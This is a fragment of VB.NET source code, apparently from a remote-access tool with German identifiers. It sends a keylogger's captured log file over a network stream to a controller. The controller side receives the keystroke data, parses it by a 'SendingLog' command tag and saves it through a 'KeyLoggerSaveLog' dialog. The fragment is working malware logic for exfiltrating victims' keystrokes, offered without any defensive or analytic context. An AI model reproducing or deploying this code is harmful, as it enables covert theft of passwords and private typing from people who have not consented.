Dim StreamReader As New StreamReader( _
                                          Path_Main & "\Log.txt")
                                        Dim sendBytes As [Byte]() = _
                                        Encoding.GetEncoding(28591).GetBytes( _
                                        "SendingLog*|*" & _
                                        StreamReader.ReadToEnd.ToString & "*|*")
                                        NetworkStream.Write(sendBytes, 0, _
                                        sendBytes.Length)
                                        StreamReader.Dispose()
                                        StreamReader.Close()

                    Dim AsciiByteArray(ClientVerbindung.ReceiveBufferSize) As _
                      Byte
                    networkStream.Read(AsciiByteArray, 0, _
                    ClientVerbindung.ReceiveBufferSize)
 
                    Dim EncodedByteArray As String = Encoding.GetEncoding( _
                      28591).GetString(AsciiByteArray)
                    Dim EncodedArray() As String = Split(EncodedByteArray, _
                    "*|*")
                    Dim command1 As String = EncodedArray(0)
 
                    Select Case command1
 
 
                        Case "SendingLog"
                            Dim Log() As String
                            Log = Split(EncodedArray(1), vbLf)
                            If KeyLoggerSaveLog.ShowDialog = DialogResult.OK _
                              Then
                                If Server_Connected = True Then
                                    Dim StreamWriter As New StreamWriter( _
                                      KeyLoggerSaveLog.FileName)
                                    For Each Zeile As String In Log
                                        StreamWriter.WriteLine(Zeile)
                                    Next
                                    StreamWriter.Dispose()
                                    StreamWriter.Close()
                                    KeyLoggerSaveLog.Dispose()
                                    KeyLoggerSaveLog.Reset()
                                End If
                            End If